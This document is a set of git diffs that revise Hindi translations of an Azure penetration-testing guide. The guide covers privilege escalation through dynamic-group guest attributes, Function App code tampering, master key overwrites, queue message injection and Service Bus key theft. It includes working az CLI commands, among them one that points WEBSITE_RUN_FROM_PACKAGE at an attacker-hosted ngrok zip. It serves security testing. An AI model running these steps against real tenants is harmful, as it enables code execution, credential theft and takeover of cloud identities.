Donkey token एक सेट फ़ंक्शंस का है जिसका उद्देश्य सुरक्षा सलाहकारों की मदद करना है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टलों के लिए परीक्षण करने आदि की आवश्यकता होती है।
|
||||
Donkey token एक सेट फ़ंक्शंस का है जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टल्स के लिए परीक्षण करने आदि की आवश्यकता होती है।
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
क्योंकि **Azure** **पोर्टल** **सीमित नहीं** है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:
|
||||
क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
|
||||
@@ -12,17 +12,17 @@
|
||||
|
||||
## Privesc
|
||||
|
||||
ध्यान दें कि डिफ़ॉल्ट रूप से कोई भी उपयोगकर्ता Azure AD में मेहमानों को आमंत्रित कर सकता है, इसलिए, यदि एक डायनामिक समूह का **नियम** उपयोगकर्ताओं को **अनुमतियाँ** देता है जो **गुणों** के आधार पर हैं जो एक नए **मेहमान** में **सेट** किए जा सकते हैं, तो इस गुणों के साथ एक **मेहमान** **बनाना** और **अधिकार बढ़ाना** संभव है। यह भी संभव है कि एक मेहमान अपने प्रोफ़ाइल का प्रबंधन करे और इन गुणों को बदल सके।
|
||||
ध्यान दें कि डिफ़ॉल्ट रूप से कोई भी उपयोगकर्ता Azure AD में मेहमानों को आमंत्रित कर सकता है, इसलिए, यदि एक डायनामिक समूह का **नियम** उपयोगकर्ताओं को **अनुमतियाँ** देता है जो **गुणों** के आधार पर हैं जो एक नए **मेहमान** में **सेट** किए जा सकते हैं, तो इस गुणों के साथ एक **मेहमान** **बनाना** संभव है और **अधिकार बढ़ाना** संभव है। यह भी संभव है कि एक मेहमान अपने प्रोफ़ाइल का प्रबंधन करे और इन गुणों को बदल सके।
|
||||
|
||||
डायनामिक सदस्यता की अनुमति देने वाले समूह प्राप्त करें: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
|
||||
- **नियम उदाहरण**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **नियम विवरण**: कोई भी मेहमान उपयोगकर्ता जिसकी द्वितीयक ईमेल में 'security' स्ट्रिंग है, समूह में जोड़ा जाएगा
|
||||
- **नियम विवरण**: कोई भी मेहमान उपयोगकर्ता जिसके पास 'security' स्ट्रिंग वाला एक द्वितीयक ईमेल है, समूह में जोड़ा जाएगा
|
||||
|
||||
मेहमान उपयोगकर्ता ईमेल के लिए, निमंत्रण स्वीकार करें और [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) में **उस उपयोगकर्ता** की वर्तमान सेटिंग्स की जांच करें।\
|
||||
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करने की आवश्यकता है:
|
||||
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करना होगा:
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
@@ -41,7 +41,7 @@ az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
|
||||
अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो यह **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोजने के लिए संभव है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
|
||||
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को ढूंढना संभव है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
|
||||
|
||||
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान पर विशेषाधिकार बढ़ा सकते हैं।
|
||||
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान पर विशेषाधिकार बढ़ाना संभव हो जाता है।
|
||||
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
|
||||
|
||||
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं 
|
||||
```bash
|
||||
@@ -31,7 +31,7 @@ az functionapp config appsettings list \
|
||||
> [!CAUTION]
|
||||
> फ़ाइल शेयर से कनेक्ट करने और **स्क्रिप्ट को संशोधित करने** के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
|
||||
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
|
||||
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयर के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -49,24 +49,24 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
|
||||
यह सामान्य है कि **zip रिलीज़** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो स्टोरेज अकाउंट कंटेनर में है जिसका फ़ंक्शन ऐप उपयोग कर रहा है, **जो आमतौर पर `function-releases` कहा जाता है**।
|
||||
|
||||
आम तौर पर, यह तैनाती विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग को सेट करेगी:
|
||||
आमतौर पर, यह डिप्लॉयमेंट विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
यह कॉन्फ़िग आमतौर पर **कोड डाउनलोड करने के लिए SAS URL** शामिल करेगा जो स्टोरेज अकाउंट से है।
|
||||
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने** के लिए स्टोरेज अकाउंट से कोड में शामिल करेगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्शन में मनमाने कोड को निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में **`github-actions-deploy`** फ़ोल्डर खोजना संभव है जिसमें कोड का ज़िप और सेटिंग `WEBSITE_RUN_FROM_PACKAGE` में ज़िप के लिए एक SAS URL है।
|
||||
पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में **`github-actions-deploy`** फ़ोल्डर खोजना संभव है जिसमें कोड का ज़िप और सेटिंग `WEBSITE_RUN_FROM_PACKAGE` में ज़िप के लिए एक SAS URL शामिल है।
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
स्टोरेज अकाउंट के अंदर फ़ंक्शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमतियों के साथ, **`scm-releases`** कंटेनर खोजना संभव है। वहाँ नवीनतम रिलीज़ **Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप** में पाई जा सकती है और इसलिए फ़ंक्शन के कोड को पढ़ना संभव है:
|
||||
स्टोरेज अकाउंट के अंदर फ़ंक्शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमतियों के साथ, **`scm-releases`** कंटेनर खोजना संभव है। वहाँ, **Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप** में नवीनतम रिलीज़ खोजना संभव है और इसलिए फ़ंक्शन के कोड को पढ़ना संभव है:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
|
||||
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि ज़िप एक्सटेंशन फ़ाइल में **कोड** को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है (जो वास्तव में एक **`squashfs`** है) तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
@@ -122,7 +122,7 @@ az storage blob upload \
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है, जैसे:
|
||||
मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -162,7 +162,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए अनुसार संशोधित कर सकते हैं!
|
||||
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
@@ -183,7 +183,7 @@ az rest --method POST \
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है। 
|
||||
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है। 
|
||||
|
||||
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
|
||||
|
||||
@@ -203,7 +203,7 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में कॉन्फ़िग **`WEBSITE_RUN_FROM_PACKAGE`** जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
|
||||
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
|
||||
|
||||
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था।
|
||||
```bash
|
||||
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
एक और विकल्प यह होगा कि आप अपनी खुद की क्रेडेंशियल्स सेट करें और उनका उपयोग करें:
|
||||
एक और विकल्प होगा कि आप अपनी खुद की क्रेडेंशियल्स सेट करें और उनका उपयोग करें:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
@@ -242,7 +242,7 @@ az functionapp deployment user set \
|
||||
```
|
||||
- यदि **REDACTED** क्रेडेंशियल्स
|
||||
|
||||
यदि आप देखते हैं कि वे क्रेडेंशियल्स **REDACTED** हैं, तो इसका कारण यह है कि आपको **SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है** और इसके लिए आपको दूसरी अनुमति (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` की आवश्यकता है।
|
||||
यदि आप देखते हैं कि वे क्रेडेंशियल्स **REDACTED** हैं, तो इसका मतलब है कि आपको **SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है** और इसके लिए आपको दूसरी अनुमति की आवश्यकता है (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -279,7 +279,7 @@ _ध्यान दें कि **SCM उपयोगकर्ता नाम
|
||||
|
||||
आप `https://<app-name>.scm.azurewebsites.net/BasicAuth` से वेब पृष्ठ तक भी पहुँच सकते हैं।
|
||||
|
||||
सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।
|
||||
सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित करना संभव होता है।
|
||||
|
||||
- **विधि FTP**
|
||||
|
||||
@@ -297,11 +297,11 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर प्रारूप \<app-name>\\$\<app-name> में होता है।_
|
||||
_ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर इस प्रारूप में होता है \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
[**दस्तावेज़ों**](https://github.com/projectkudu/kudu/wiki/REST-API#command) के अनुसार, यह अनुमति **SCM सर्वर के अंदर कमांड निष्पादित करने** की अनुमति देती है, जिसका उपयोग एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए किया जा सकता है:
|
||||
[**दस्तावेज़ों**](https://github.com/projectkudu/kudu/wiki/REST-API#command) के अनुसार, यह अनुमति **SCM सर्वर के अंदर कमांड निष्पादित करने** की अनुमति देती है, जिसे एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए उपयोग किया जा सकता है:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
@@ -310,7 +310,7 @@ az rest --method POST \
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
यह अनुमति **ऐप का स्रोत कोड** VFS के माध्यम से पढ़ने की अनुमति देती है:
|
||||
यह अनुमति **ऐप का स्रोत कोड पढ़ने** की अनुमति देती है VFS के माध्यम से:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
@@ -352,7 +352,7 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
|
||||
इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से संलग्न करना संभव है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
@@ -374,7 +374,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
|
||||
### Change Github repo
|
||||
|
||||
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github repo को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
|
||||
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नए रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है।
|
||||
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नए रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता।
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर Azure Storage Queue से संदेशों को देख सकता है। इससे हमलावर को संदेशों की सामग्री को बिना उन्हें संसाधित किए या उनकी स्थिति को बदले देखने की अनुमति मिलती है। इससे संवेदनशील जानकारी तक अनधिकृत पहुंच हो सकती है, जिससे डेटा निकासी या आगे के हमलों के लिए खुफिया जानकारी इकट्ठा करने की अनुमति मिलती है।
|
||||
इस अनुमति के साथ एक हमलावर Azure Storage Queue से संदेशों को देख सकता है। यह हमलावर को संदेशों की सामग्री को बिना उन्हें संसाधित किए या उनकी स्थिति को बदले देखने की अनुमति देता है। इससे संवेदनशील जानकारी तक अनधिकृत पहुंच हो सकती है, जिससे डेटा निकासी या आगे के हमलों के लिए खुफिया जानकारी इकट्ठा करने की अनुमति मिलती है।
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
@@ -32,7 +32,7 @@ az storage message put --queue-name <queue-name> --content "Injected malicious m
|
||||
```
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
यह अनुमति एक हमलावर को Azure Storage Queue में नए संदेश जोड़ने या मौजूदा संदेशों को अपडेट करने की अनुमति देती है। इसका उपयोग करके, वे हानिकारक सामग्री डाल सकते हैं या मौजूदा संदेशों को बदल सकते हैं, जिससे अनुप्रयोगों को भ्रामक जानकारी मिल सकती है या उन सिस्टमों में अवांछित व्यवहार उत्पन्न हो सकता है जो कतार पर निर्भर करते हैं।
|
||||
यह अनुमति एक हमलावर को Azure Storage Queue में नए संदेश जोड़ने या मौजूदा संदेशों को अपडेट करने की अनुमति देती है। इसका उपयोग करके, वे हानिकारक सामग्री डाल सकते हैं या मौजूदा संदेशों को बदल सकते हैं, जो संभावित रूप से अनुप्रयोगों को भ्रामक बना सकता है या उन सिस्टमों में अवांछित व्यवहार पैदा कर सकता है जो कतार पर निर्भर करते हैं।
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
|
||||
```
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
यह अनुमति एक हमलावर को स्टोरेज खाते के भीतर कतारें और उनकी विशेषताओं को बनाने या संशोधित करने की अनुमति देती है। इसका उपयोग अनधिकृत कतारें बनाने, मेटाडेटा को संशोधित करने, या एक्सेस कंट्रोल सूचियों (ACLs) को बदलने के लिए किया जा सकता है ताकि पहुँच को प्रदान या प्रतिबंधित किया जा सके। यह क्षमता कार्यप्रवाहों को बाधित कर सकती है, दुर्भावनापूर्ण डेटा इंजेक्ट कर सकती है, संवेदनशील जानकारी को एक्सफिल्ट्रेट कर सकती है, या आगे के हमलों को सक्षम करने के लिए कतार सेटिंग्स में हेरफेर कर सकती है।
|
||||
यह अनुमति एक हमलावर को स्टोरेज खाते के भीतर कतारें और उनकी विशेषताओं को बनाने या संशोधित करने की अनुमति देती है। इसका उपयोग अनधिकृत कतारें बनाने, मेटाडेटा को संशोधित करने, या एक्सेस कंट्रोल सूचियों (ACLs) को बदलने के लिए किया जा सकता है ताकि पहुँच को प्रदान या प्रतिबंधित किया जा सके। यह क्षमता कार्यप्रवाहों को बाधित कर सकती है, दुर्भावनापूर्ण डेटा इंजेक्ट कर सकती है, संवेदनशील जानकारी को बाहर निकाल सकती है, या आगे के हमलों को सक्षम करने के लिए कतार सेटिंग्स में हेरफेर कर सकती है।
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -54,7 +54,7 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -83,7 +83,7 @@ print("----------------------------")
|
||||
```
|
||||
### संदेश प्राप्त करें। क्रिया: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` या `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप होता है।
|
||||
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक प्रमाण पत्र के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप कर सकते हैं।
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
|
||||
@@ -12,7 +12,7 @@ SQL Database के बारे में अधिक जानकारी
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन को संशोधित कर सकता है, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
|
||||
